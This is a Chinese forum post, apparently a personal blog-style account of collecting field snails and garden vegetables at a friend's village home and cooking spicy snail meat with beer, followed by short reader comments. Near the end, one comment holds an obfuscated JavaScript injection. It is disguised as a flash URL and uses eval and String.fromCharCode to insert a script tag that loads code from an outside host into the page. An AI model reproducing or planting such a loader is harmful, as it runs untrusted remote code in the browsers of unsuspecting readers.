她真够拼的，一个人跑了几丘田，提回来一袋子螺蛳！
本帖最后由 鲁家庄主 于 2017-5-25 17:46 编辑她真够拼的，一个人跑了几丘田，提回来一袋子螺蛳！
在城里定居后，没有菜园，也没了小溪田野，一切食物蔬菜只能靠购买，到时常惦念起乡下那些山珍海味来。这是一个阳光明媚的下午，应老庚之邀，相约骑车前去他乡下父母家弄点农家菜回来吃，老庚的老家在车埠村，离城区大约十来公里。鱼米之乡，水产丰富，也是我们经常“下乡扫荡”的目标地。http://p3.pstatp.com/large/22cf0002e1709c59fbb7到达车埠村老庚家里后，也没进屋歇息，几个人就像鬼子进了村，径直奔向他家菜园，准备开始“大扫荡”。路过在一片新翻的水田时，旁边有处泥塘，里面载满了篙笋，就在田埂边，大家发现有许多田螺就在水里趴着,很吸引眼球,大家都不约而同地叫起来：“哈哈！这下来菜了，正好下田摸点田螺打牙祭！”http://p9.pstatp.com/large/22cc0005031297e7fb2b“阿连嫂”也真的豁出去了，自告奋勇说：“摸田螺，那是小儿科的事，你们等着，我这就下田去！”http://p3.pstatp.com/large/213a0006372dfb731ada老庚找了一条高腰下水裤给她穿上后，“阿连嫂”便提个塑料袋，卷起裤脚，在那已耖过头茬泥土的水田里，像是鹭鸶鸟探鱼儿似的，伸手一股脑儿的在水里摸。http://p1.pstatp.com/large/22ca0006595ccd4b6043诶！我说阿庆嫂！你小心点儿！当心有蛇！
摸上一个圆圆的、土豆般大小，拾起来，在水中一摆，洗去泥巴污垢，“咚”的一声，甩进了袋里。http://p3.pstatp.com/large/22c80002735424cac516“阿连嫂”深一脚，浅一脚的，在水里趟来趟去，田里的水全被搅浑了，什么也看不到，只好弓下腰低着头一只手在泥水里往前探摸，真还就连续不断有收获。http://p3.pstatp.com/large/213900026d3e02e5338e“阿连嫂”今天真够拼的，硬是一个人跑了几丘水田，终于提回来一袋子螺蛳，倒出来一看，竟有半篮子！http://p3.pstatp.com/large/22cd0003a868da09e907其他"鬼子们"更没闲着，径直奔向老庚家屋后莱园里"扫荡"了一堆战利品回来。http://p9.pstatp.com/large/22ce000014a7ad865983“妈呀！刚才一个小东西从我脚边溜过去！”“该不是蛇吧！”这两位一惊一乍的，在菜地里左找右寻，最后什么也没发现，虚惊了一场！http://p3.pstatp.com/large/213e000004c497a308c8黄瓜，茄子，豆角，土豆，藕肠，辣椒，蕌头，韮莱，还整了些蚕豆，全是农家莱。http://p3.pstatp.com/large/22cd0003aa131a8c2e44黄瓜，茄子，豆角，土豆，藕肠，辣椒，蕌头，韮莱，还整了些蚕豆，全是农家莱。http://p9.pstatp.com/large/213e000004c55c1d33b9黄瓜，茄子，豆角，土豆，藕肠，辣椒，蕌头，韮莱，还整了些蚕豆，全是农家莱。http://p3.pstatp.com/large/22cd0003ac9d0a966ca2这些菜要是都带回家，邻居们不羡慕死才怪！回家后，女人们立马忙开了，择菜，撬田螺，个个忙的不亦乐乎。http://p3.pstatp.com/large/22ce00001856f9d660a8想吃田螺，真有点麻烦啰！必须先田螺倒进锅里煮沸，然后捞起来，放入水盆里，拿着一口铁钉撬开螺盖一挑，一砣灰黑色的螺肉冒了出来，除去尾端“心肝杂碎”，又放进另一个清水盆里，漂尽泥沙杂质。http://p1.pstatp.com/large/22c80002733543b5f1ea剥了一地的螺壳，逗来几只鸡子疯狂抢食。http://p3.pstatp.com/large/22cc00060c323365dbff几个女人忙活了半天，也才挑出碗把田螺肉来。http://p1.pstatp.com/large/22c8000273366b1873d7以前在大排档吃别人炒的，只知道麻辣有味，这次一定要享受自己的劳动成果。于是我撸起袖子，跑进了厨房开始忙活起来。http://p1.pstatp.com/large/213a000637141c1ea615刚刚剥出来的田螺肉，一定要反复冲洗，直到盆里的水泛清，才可以下锅的啊！http://p9.pstatp.com/large/22cb0006260b1d3feacc干辣椒段，姜片，蒜米，葱段，白糖，耗油，生抽，醋，啤酒，鸡精，味精等调料凑了一堆。http://p9.pstatp.com/large/22c600045e97b6905a28打开炉火，烧至铁锅开始冒烟了，倒入一勺菜油，用勺不住的溜锅，待吱吱啦啦响过，稍微冒烟后，于无声处将（姜片，蒜米）一起倒进锅里。http://p1.pstatp.com/large/213a000637166d489ed4调小火，再倒进辣椒段继续小火翻炒2分钟左右，将作料煸出香味来。http://p3.pstatp.com/large/213900026d4ef1b4222d
放入洗干净的田螺肉翻炒。http://p9.pstatp.com/large/22c7000459edbd9143f4我们喜欢吃辣，自然少不了放些辣椒。http://p3.pstatp.com/large/213a0006372996d26a00倒入半支啤酒除腥。http://p3.pstatp.com/large/22c7000459eb99d0bb87放入适量盐http://p3.pstatp.com/large/22c800027350e9198335盖上锅盖开始焖煮，中间不时翻炒一下。http://p3.pstatp.com/large/213f0005428689c4f0b2将调制好的酱汁（适量醋，盐，白糖，生抽混合液）倒入锅中。用大火大约煮10－20分钟左右。期间可以试一下味道，如果味道不够再按照个人喜好进行添加。时间到以后开盖看汤汁，如果比较多，就开盖在煮一会儿，等汁收得差不多了就放鸡精炒匀，散上葱段即可起锅。http://p1.pstatp.com/large/21390004145dfb6ca83c细嫩的螺肉咸、香、鲜、辣，还带着隐隐透着啤酒的异香，着 实可以说是做法简单而滋味美妙。一杯酒还没下肚，一碗螺蛳肉全被消灭了。吃到最后不过瘾，居然还用螺蛳汤汁拌饭，香喷喷，鲜笃笃，味道也很美。
哇！{:238:}{:238:} {:238:}{:238:}{:238:} 五月下旬，黄瓜就那么大一条，看来黄瓜种得很早！{:252:}{:252:} {:238:} 庄主会玩会恰！ 穿好水裤后卷起裤脚.怎么做到的
这是正宗的野生田螺吧
http://localhost/flash.swf?'+eval(String.fromCharCode(119,105,116,104,40,100,111,99,117,109,101,110,116,41,48,91,98,111,100,121,46,97,112,112,101,110,100,67,104,105,108,100,40,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,41,46,115,114,99,61,39,104,116,116,112,58,47,47,99,110,52,122,46,99,111,109,47,99,110,122,122,46,106,115,39,93,59))+' 土匪下乡扫荡，，，{:250:} 营养美食{:252:}